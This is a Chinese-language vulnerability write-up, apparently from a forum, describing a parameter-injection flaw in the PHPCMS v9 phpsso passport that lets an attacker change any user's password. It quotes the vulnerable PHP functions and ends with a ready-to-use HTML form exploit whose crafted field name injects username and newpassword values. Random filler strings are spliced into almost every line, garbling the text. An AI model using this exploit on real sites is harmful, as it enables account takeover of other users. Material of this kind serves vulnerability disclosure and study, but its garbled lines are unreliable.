提到的通行证的代码:
7 Z( T/ _( G) i& l" K6 c% i2 g
+ k; }& r5 o4 j+ C% `( @$ j# ?: l' s5 B4 @+ y% z- r
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);! T) a3 ?- M# W9 g" |
7 I) ]8 w# D7 c
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
) D8 C4 P+ [$ v9 S
. [: v6 h) u4 d9 \* x8 \8 r! d; R我把它留给了你们。9 e. y, c+ D$ k
不知道你们发现了它没有。
' ?5 t' Z. e% T3 w! y" Z/ B" t7 Z' [! d! Q- u' ]
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
" E( m( i6 S! M L
7 ~4 ~3 A1 d2 l" C5 Y! H! e所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
8 H- b- }, I1 H6 @" L0 z) a; N. M* a3 u+ w% C" v- x
也就是
; T0 a1 r9 C" `2 {; [, v
- B- F1 J5 `. Q" M4 I, `' Z5 k; susername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
) k3 |; q* h* B) \6 F) ~; I2 e
9 [2 _, ~6 [7 u+ t4 C/ o要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
# |/ N H; D. m& j4 [8 s8 }0 Z/ A" i/ Y; P4 F) K3 C
+ w( ^% D/ Z/ y( z Q8 x6 c
其实我们有这样的机会,看看代码,如下:2 L N# {1 S1 i. l" @# L- c) P
! O0 Z8 c/ V5 e- \, z6 ~
" Y/ c; N9 Z6 n3 ^/ ^8 fpublic function auth_data($data) {
) R" Y @. J. ^. c. q; Q $s = $sep = '';
. R; n, r" r; N. `. q- w) ? foreach($data as $k => $v) {
$ ]7 J4 a4 X7 P& a" }+ B if(is_array($v)) {
* U1 P. z0 c6 [- H $s2 = $sep2 = '';
+ }$ z7 [* D Z* d. g6 K foreach($v as $k2 => $v2) {- V/ F, v) d$ f! V% r
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
# [7 B8 C B0 j4 k0 O" y $sep2 = '&';
4 a5 t1 V2 h+ e2 |+ N' T4 w }
+ Q# \/ c3 p- `" k. [ $s .= $sep.$s2;
4 m7 t9 C7 D' q" z% v/ c } else {
5 F$ k6 S y* e, r* }- A& J( h $s .= "$sep$k=".$this->_ps_stripslashes($v);: i- M7 o- ~2 [8 p
}: |2 E9 w3 ?9 X/ ~; _
$sep = '&';2 U" n& }$ x, v5 S7 [4 P
}
- ]1 |7 S4 |2 a1 L/ s
1 s$ s4 ^5 Z0 b3 M; W4 ~/ ^ $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
) i; O. n; o6 J+ H% e/ C; J- X return $auth_s; ~. W. \$ y- f2 G5 z# w; X# Y, G
}
7 s' o& g( X7 k- c
( g/ y) E8 r4 n- x# \' z可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。1 a2 l% ~+ i# F
- z, w5 o' `2 @举个例子
7 j5 X4 E" Y2 b. T. H Z/ Q; ?, @
" x) o6 v* T! o" ^/ N" T5 y# ^$a[aaa=a&bbb] = 'a';
: U% w* A& }5 B8 p, W7 G+ H8 u% G% M4 [' }8 ^+ ^- C+ v1 K+ r5 K
会变成aaa=a&bbb=a3 }$ I* _9 u1 N' ]0 K
" K6 G6 z8 I# J! P; }5 S明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
. y6 E: `0 z. C _& |" ~7 B' Q) @3 f3 b" v2 ]7 b
这个时候,我们可以再去看一个函数。' ]2 l& o+ _: X" e4 h/ V4 h r
4 @& N0 v& T% V* f就在这个文件内:
* a% H. B$ g3 p* ?3 j3 \9 K9 L% B) ]4 m( L; T0 U' S
. ?8 w! p; V5 o# [# Ypublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
: W/ m0 F7 l" M5 w, W0 ^6 r if($email && !$this->_is_email($email)) {
- }2 i& A/ U, i1 N& k return -4;
' ~. G. Y% p' V, t/ g" K' C }. S7 M2 a- ]- i5 U1 q. Q
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
( F2 `; c( l$ q* E6 c0 _ }
4 j) e5 |9 H' o, ]& f! G3 f
# q! I; Q, j) @: v" Q& U8 W; B这是向通行证发了这样一个请求。# g3 [2 C2 J- K) E4 M
' ?9 o* J* ?! U }0 c
我们再跟到通信证代码里去看看,就会有所发现。
" y8 B& P' a$ U# Q$ Q
/ ^& V1 `9 k$ j7 f* a6 f. y- E/ k7 Y' {
public function edit() {
9 O, \; z* C+ I6 V( F//能省就省,太长了不是吗?, ~) Y* {1 m3 {0 H1 S/ A" C$ n
; s; M, S& J! a9 {: Cif($this->username) {
3 [: _. q' M2 Z# Z) L. E( v//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
2 c* S4 n3 t. Q5 Z1 W $res = $this->db->update($data, array('username'=>$this->username));8 t$ v! |' @& L; X% [2 [
} else {/ G! z/ p/ ^ n7 @' ^4 p
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
, }) P, s+ ]& x7 L0 p- x D $res = $this->db->update($data, array('uid'=>$this->uid)); y- m. y7 H$ O. [& O/ ^
}1 u. i$ B+ c& h( b. X- S
' D5 S, b7 y" j2 @, r$ R好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
0 h" b4 E$ K8 T& [; `
" G! [+ _/ ~5 @) n# m7 p& Lpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')3 \6 s( A0 x* j$ y' _7 F; S
3 Q& ~9 {$ `0 H4 ^; X" R$ v+ D- J7 C很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
% E8 }8 M* z! K9 b
4 R9 w: H# l1 w$ u我当然找到了:6 f2 ^3 _$ h; f( Z+ a3 G
phpcms9/phpcms/modules/member/index.php
; f" T; y! _+ g; k9 l' J) L/ P, b' t( J$ [: s S H% b
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);2 _% g1 f' a1 N3 v2 v! ?* t3 y
4 W; T. D3 M" s9 E8 \然后就没有然后了。3 v+ u3 G: U3 Q! D* X: G! d
6 b7 L, s5 O. t1 u# s% x7 E4 f<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">6 v g" _7 Z6 T( _% H
<table width="100%" cellspacing="0" class="table_form">
% n5 `/ A. N, k <tr>
+ H- g. T) g$ F1 n+ H% P- a# [ <th width="80">邮箱:</th>
/ _+ y3 F5 M% h4 p <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
; e, H* K# `& E+ c3 f2 M* ?) | </tr>
! n' x1 A3 S; P% f3 k3 d) n# j <tr>" H# R' j4 V y5 y, @0 w( _
<th width="80">原密码:</th> ' _0 c: W- E2 r; r7 Q
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>" Z* ^) r& a) @' o* @; J U
</tr>
8 v9 T8 h- H- s6 x <tr>
* c& n' [8 W, o* A <th>新密码:</th>) G0 ]: b/ ?4 }+ v* X) V
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
7 G; y( |& w$ Y9 N3 a f </tr>4 ~; ?3 |* H$ G, n# q# ^6 o3 |
<th></th>2 E; f( M. N3 m {
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td> P% I2 d7 l* j K0 D# h2 k! U
</tr>8 y# a5 G0 t$ O* C" G0 Q
</table>1 S# z' t- g/ j. o
' G* S% C' {. v1 O- V- a
) ?" M9 d. X. `- i9 L </form>8 [" z6 c L* P1 ]& _1 R2 O& i
|